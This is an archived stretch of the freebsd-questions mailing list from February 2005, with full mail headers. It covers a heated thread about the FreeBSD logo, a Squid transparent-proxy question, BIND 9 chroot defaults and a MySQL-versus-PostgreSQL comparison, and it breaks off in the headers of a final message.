List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:56:04 -0000 Chad Leigh -- Shire.Net LLC writes: > CIOs don't hang out in public mailing lists asking such questions But some of us hanging out on such lists have to answer these questions when talking to CIOs. And saying "I don't know" just doesn't wash. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:56:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5DA6D16A4CE for ; Fri, 11 Feb 2005 22:56:57 +0000 (GMT) Received: from smtp803.mail.sc5.yahoo.com (smtp803.mail.sc5.yahoo.com [66.163.168.182]) by mx1.FreeBSD.org (Postfix) with SMTP id F083E43D1F for ; Fri, 11 Feb 2005 22:56:56 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp803.mail.sc5.yahoo.com with SMTP; 11 Feb 2005 22:56:56 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 14:56:55 -0800 User-Agent: KMail/1.7.2 References: <200502092223.01650.algould@datawok.com> <200502111434.24639.krinklyfig@spymac.com> <1933693940.20050211234413@wanadoo.fr> In-Reply-To: <1933693940.20050211234413@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502111456.56011.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:56:57 -0000 On Friday 11 February 2005 02:44 pm, Anthony Atkielski wrote: > Joshua Tinnin writes: > > Hmmm, let's see, Anthony Atielski, 30 posts on this subject alone, > > on a tech help list. Makes you wonder what sort of priorities you > > have. > > At the moment, I'm worried about FreeBSD. Listen. You come in here making vague accusations of legal wrongdoing, not just once, but TWICE! With no foundation or background, I might add. You make these accusations with close to zero actual knowledge of the situations involved. Do you know what that's called? That's called a cartooney threat. > > Anyway, if you feel that way then let the thread die, or take it to > > -advocacy. > > I reply to the posts in whichever list they occur. While I agree > that it should be in -advocacy, if the posts are on this list, then I > naturally reply to them here. Fine. Worry and worry, then. See what you get. - jt From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:09:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 647D816A4CE for ; Fri, 11 Feb 2005 23:09:04 +0000 (GMT) Received: from web52404.mail.yahoo.com (web52404.mail.yahoo.com [206.190.39.112]) by mx1.FreeBSD.org (Postfix) with SMTP id DB7BB43D1D for ; Fri, 11 Feb 2005 23:09:03 +0000 (GMT) (envelope-from kendo_2@yahoo.com) Received: (qmail 67456 invoked by uid 60001); 11 Feb 2005 23:09:03 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=s+mlRhpkZIuOar0664fKKJ5Fmw6uHu1z5O/RG5OIujlu6MYjaUbvQreyxD8P/+0c26RqElkDyu+M682hBRRO+3iErP9I8l5qF+TFGrC48fs+Wyufzmtfr8tE3Ss/3cm+p3iYXKQQzf0p9k4IMt0jmTqFYTrKlyrBXQ+Za3BdVq4= ; Message-ID: <20050211230903.67454.qmail@web52404.mail.yahoo.com> Received: from [148.235.187.243] by web52404.mail.yahoo.com via HTTP; Fri, 11 Feb 2005 17:09:03 CST Date: Fri, 11 Feb 2005 17:09:03 -0600 (CST) From: =?iso-8859-1?q?Diego=20Camarena=20Gonz=E1lez?= To: freebsd-questions@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: configuring Squid as a Transparent proxy in BSD with ipfw X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:09:04 -0000 Does anyone knows how can i configure Squid as a Transparent proxy using IPFW assuming that i have already configured Squid with Samba authentication. I've configure Squid that allow users to log on pages using their smb account but i have to configure every computer on my Lan to connect to the proxy server. How can i configure IPFW and Squid to work as a trasnparent proxy to work on every computer authenticating samba users in my lan that uses internet explorer. Net interfaces: xl0 : 10.254.254.253 --- LAN ip xl1 : 172.21.14.253 --- This ip is used to make the SMB authentication and get the internet connection Requeriments: OS: FreeBSD 5.2 Authentication module: smb_auth Firewall: IPFW Could anyone please send me a configuration that has been proved or any idea? i have already read the FAQ about squid transparent proxy but any of the configurations works with samba authentication and IPFW {#358;#373;#65155;#321;#1602;#65155;#1106;#354;} --------------------------------- Do You Yahoo!? Yahoo! Net: La mejor conexión a internet y 25MB extra a tu correo por $100 al mes. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:11:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A24BB16A4CE for ; Fri, 11 Feb 2005 23:11:29 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6D7FC43D1D for ; Fri, 11 Feb 2005 23:11:29 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Czjwe-000IXd-0E for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 16:11:29 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <603040130.20050211235602@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> <603040130.20050211235602@wanadoo.fr> Message-Id: <4187592E-7C82-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 16:11:27 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:11:29 -0000 On Feb 11, 2005, at 3:56 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> CIOs don't hang out in public mailing lists asking such questions > > But some of us hanging out on such lists have to answer these questions > when talking to CIOs. And saying "I don't know" just doesn't wash. And the standard answer is RTFM In this case RTFC or RTFsomething We are not your errand boys. People in this list are not the ones to answer this question. Find the appropriate people and ask them. Start at www.freebsd.org ... Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:12:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C1FC16A4CE for ; Fri, 11 Feb 2005 23:12:33 +0000 (GMT) Received: from amsal01exc01.americatelsal.com (amsal01exc01.americatel.com.sv [200.13.161.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1673143D2D for ; Fri, 11 Feb 2005 23:12:28 +0000 (GMT) (envelope-from mmiranda@americatel.com.sv) Received: by amsal01exc01.americatel.com.sv with Internet Mail Service (5.5.2657.72) id <1YH3P5SR>; Fri, 11 Feb 2005 17:07:01 -0600 Message-ID: <76E0DAA32C39D711B6EC0002B364A6FA03FD8D7C@amsal01exc01.americatel.com.sv> From: mmiranda@americatel.com.sv To: freebsd-questions@FreeBSD.org Date: Fri, 11 Feb 2005 17:07:00 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: configuring Squid as a Transparent proxy in BSD with ipfw X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:12:33 -0000 -----Original Message----- >From: owner-freebsd-questions@freebsd.org >[mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Diego = Camarena >Gonz=E1lez >Subject: configuring Squid as a Transparent proxy in BSD with ipfw=20 > > >Does anyone knows how can i configure Squid as a Transparent proxy=20 >using IPFW assuming that i have already configured Squid with Samba=20 >authentication. You can not mix transparent proxy and squid authentication, its in the = squid FAQ. --- Miguel Miranda From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:14:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 284FB16A4CE for ; Fri, 11 Feb 2005 23:14:10 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id CD81743D2F for ; Fri, 11 Feb 2005 23:14:09 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id B7D821C0009D for ; Sat, 12 Feb 2005 00:14:08 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 9BD7D1C00091 for ; Sat, 12 Feb 2005 00:14:08 +0100 (CET) X-ME-UUID: 20050211231408638.9BD7D1C00091@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 00:14:04 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <241533575.20050212001404@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <4187592E-7C82-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> <603040130.20050211235602@wanadoo.fr> <4187592E-7C82-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:14:10 -0000 Chad Leigh -- Shire.Net LLC writes: > And the standard answer is RTFM I don't know of anything in the manuals or on the Web site that answers this type of question. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:17:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D003D16A4CE for ; Fri, 11 Feb 2005 23:17:34 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id CDA9743D2D for ; Fri, 11 Feb 2005 23:17:33 +0000 (GMT) (envelope-from emanuel.strobl@gmx.net) Received: (qmail invoked by alias); 11 Feb 2005 23:17:32 -0000 Received: from flb.schmalzbauer.de (EHLO cale.flintsbach.schmalzbauer.de) (62.245.232.135) by mail.gmx.net (mp015) with SMTP; 12 Feb 2005 00:17:32 +0100 X-Authenticated: #301138 From: Emanuel Strobl To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 00:17:30 +0100 User-Agent: KMail/1.7.2 References: <20050211222931.GA14659@phenix.rootshell.be> In-Reply-To: <20050211222931.GA14659@phenix.rootshell.be> X-Birthday: 10/06/72 X-CelPhone: +49 173 9967781 X-Tel: +49 89 18947781 X-Country: Germany X-Address: Munich, 80686 X-OS: FreeBSD MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1392869.caFvKfZLNW"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502120017.38796@harrymail> X-Y-GMX-Trusted: 0 cc: kilim Subject: Re: DNS' bind 9 chrooted by default ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:17:34 -0000 --nextPart1392869.caFvKfZLNW Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Am Freitag, 11. Februar 2005 23:29 schrieb kilim: > Hello, > > regarding Bind 9, here: > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-bind9.h= tm >l > > its stated that the configuration file resides in > /var/named/etc/namedb/ and that bind will be chrooted automatically. > > Yet here: > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-dns.html > > steps are shown for manual chrooting of bind (not version 9) > > So I just want to confirm it with you guys, is bind 9.3 really > chrooted by default on 5.3 ? Yes it is, at least on my oldest 5.3-STABLE box, I don't have a 5.3-RELEASE= =20 handy to verify. Your configuration directory will still be /etc/namedb,=20 not /var/named/etc/namedb since, by default, the chroot environment gets au= to=20 updated. See these options for rc.conf for further details: named_enable=3D"NO" # Run named, the DNS server (or NO). named_program=3D"/usr/sbin/named" # path to named, if you want a different = one. named_flags=3D"-u bind" # Flags for named named_pidfile=3D"/var/run/named/pid" # Must set this in named.conf as well named_chrootdir=3D"/var/named" # Chroot directory (or "" not to auto-chr= oot=20 it) named_chroot_autoupdate=3D"YES" # Automatically install/update chrooted # components of named. See /etc/rc.d/named. named_symlink_enable=3D"YES" # Symlink the chrooted pid file Ragards, =2DHarry --nextPart1392869.caFvKfZLNW Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCDT0SBylq0S4AzzwRAgxOAJwM1maK/ag6/A9B4BxJ9zG/0ky/RgCffzWo p6w4CQ/61ldkcFTpnUQEJ1I= =+PZq -----END PGP SIGNATURE----- --nextPart1392869.caFvKfZLNW-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:20:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1ACD316A4CE for ; Fri, 11 Feb 2005 23:20:19 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id E05A143D46 for ; Fri, 11 Feb 2005 23:20:18 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Czk5C-000JLS-Hq for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 16:20:18 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <241533575.20050212001404@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> <603040130.20050211235602@wanadoo.fr> <4187592E-7C82-11D9-B134-000D933E3CEC@shire.net> <241533575.20050212001404@wanadoo.fr> Message-Id: <7D7E76E0-7C83-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 16:20:17 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:20:19 -0000 On Feb 11, 2005, at 4:14 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> And the standard answer is RTFM > > I don't know of anything in the manuals or on the Web site that answers > this type of question. Typical. Cut out the rest of what I said. You need to ask the right people, not this list. To find out who the right people are, you should RTFM or in the case RTFWS Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:24:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7D6C016A4CE for ; Fri, 11 Feb 2005 23:24:36 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D8A543D2D for ; Fri, 11 Feb 2005 23:24:36 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so370547rnf for ; Fri, 11 Feb 2005 15:24:35 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=OgspTrkrngjwn21ou/diSHl59Migc5HRYuwBFt2gEpUOl/DF2YWETQ2QTra0dteecGSFC+LhwPaYuKjHZkbTSxLF2jPXnT6mVYVkSo2V+Hb73CKEpFBUh45tbhEvFPUOqiaO3SUK5+Ve6A1S/6iVDjyyO1/cFUTEoVS2xgtKYnY= Received: by 10.38.163.44 with SMTP id l44mr23093rne; Fri, 11 Feb 2005 15:24:35 -0800 (PST) Received: by 10.38.101.19 with HTTP; Fri, 11 Feb 2005 15:24:35 -0800 (PST) Message-ID: Date: Fri, 11 Feb 2005 17:24:35 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <7D7E76E0-7C83-11D9-B134-000D933E3CEC@shire.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> <603040130.20050211235602@wanadoo.fr> <4187592E-7C82-11D9-B134-000D933E3CEC@shire.net> <241533575.20050212001404@wanadoo.fr> <7D7E76E0-7C83-11D9-B134-000D933E3CEC@shire.net> Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:24:36 -0000 athony atkielski =~ /tm452\d/ ? -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:27:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 91C4416A4CE for ; Fri, 11 Feb 2005 23:27:51 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6666143D41 for ; Fri, 11 Feb 2005 23:27:50 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j1BNPw201164; Fri, 11 Feb 2005 18:25:58 -0500 (EST) From: Jerry McAllister Message-Id: <200502112325.j1BNPw201164@clunix.cl.msu.edu> To: kjelderg@gmail.com Date: Fri, 11 Feb 2005 18:25:57 -0500 (EST) In-Reply-To: from "Eric Kjeldergaard" at Feb 11, 2005 05:24:35 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:27:51 -0000 > > athony atkielski =~ /tm452\d/ ? I was beginning to suspect some such. Maybe worse. ////jerry > > -- > If I write a signature, my emails will appear more personalised. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:38:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 659A216A4CE for ; Fri, 11 Feb 2005 23:38:32 +0000 (GMT) Received: from stewie.obfuscated.net (stewie.obfuscated.net [66.118.188.125]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B18143D45 for ; Fri, 11 Feb 2005 23:38:32 +0000 (GMT) (envelope-from m@obmail.net) Received: from [192.168.1.103] (653259hfc120.tampabay.rr.com [65.32.59.120]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by stewie.obfuscated.net (Postfix) with ESMTP id 5423860D6 for ; Fri, 11 Feb 2005 18:38:31 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <241533575.20050212001404@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> <676533660.20050211235140@wanadoo.fr> <603040130.20050211235602@wanadoo.fr> <4187592E-7C82-11D9-B134-000D933E3CEC@shire.net> <241533575.20050212001404@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Michael E.Conlen Date: Fri, 11 Feb 2005 18:25:01 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:38:32 -0000 On Feb 11, 2005, at 6:14 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> And the standard answer is RTFM > > I don't know of anything in the manuals or on the Web site that answers > this type of question. > This is a mailing list for questions about how to use FreeBSD, not why you should or shouldn't use FreeBSD. We generally don't care if you use FreeBSD or not. -- Michael Conlen From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 23:59:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6DCDF16A4CE for ; Fri, 11 Feb 2005 23:59:00 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id DF85943D2F for ; Fri, 11 Feb 2005 23:58:59 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 08ED1C0C5 for ; Fri, 11 Feb 2005 18:59:11 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 18:59:10 -0500 User-Agent: KMail/1.7.1 References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> In-Reply-To: <420D2F12.8020808@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200502111859.10482.ean@hedron.org> Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 23:59:00 -0000 On February 11, 2005 05:17 pm, Sean wrote: > Jan Branbergen wrote: > >>I would like to install SQL here for my own use, not for any real life > >> > >>currently, round now for learning. > >> > >>Right now plan to install MySQL. > >>Looking through the ports there is numerous version and some say for > >> > >>server, some say for client. > >> > >>Looking for some tips as to what version of SQL and tools to > >>install? > >>Also wondering if anyone can point me towards documentation in my > >>learning efforts? > > > > i would like to suggest PostgreSQL if your objective is learning SQL. > > MySQL only provides a subset. > > > > it is by no means more complicated to install or to get started. > > > > regards, > > > > Jan > > What is the difference between PostgreSQL and MySQL? > From what I see MySQL seems to be more common. =46rom a basic design standpoint, MySQL was designed to be a fast language= =20 compatible RDBMS system. To achieve that goal they cut out a lot of feature= s.=20 Particularly those related to integrity, consistency, and validity checking. Postgres is designed to be a fully functional RDBMS that complies with the = SQL=20 standard. It includes integrity, consistency, and validity checking that=20 MySQL lacks. I also think one of the reasons that MySQL is more common than Postgres is= =20 because when they were both starting out, MySQL got a functional RDBMS out= =20 much sooner than Postgres did and when Postgres did get theirs out, MySQL w= as=20 a lot faster (because of the lack of data validation). Postgres has since=20 closed the gap a lot on the speed issues while keeping the data integrity. On the other hand, there are a lot more tools that make managing a MySQL=20 server easier. =2D-=20 Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 00:07:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0C18D16A4CE for ; Sat, 12 Feb 2005 00:07:47 +0000 (GMT) Received: from out006.verizon.net (out006pub.verizon.net [206.46.170.106]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7D2E143D2D for ; Sat, 12 Feb 2005 00:07:46 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out006.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212000745.XXPH28674.out006.verizon.net@keyslapper.org> for ; Fri, 11 Feb 2005 18:07:45 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 79B8611C58 for ; Fri, 11 Feb 2005 19:07:44 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26459-07 for ; Fri, 11 Feb 2005 19:07:36 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id C812D11BCA; Fri, 11 Feb 2005 19:07:36 -0500 (EST) Date: Fri, 11 Feb 2005 19:07:36 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050212000736.GE22856@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> 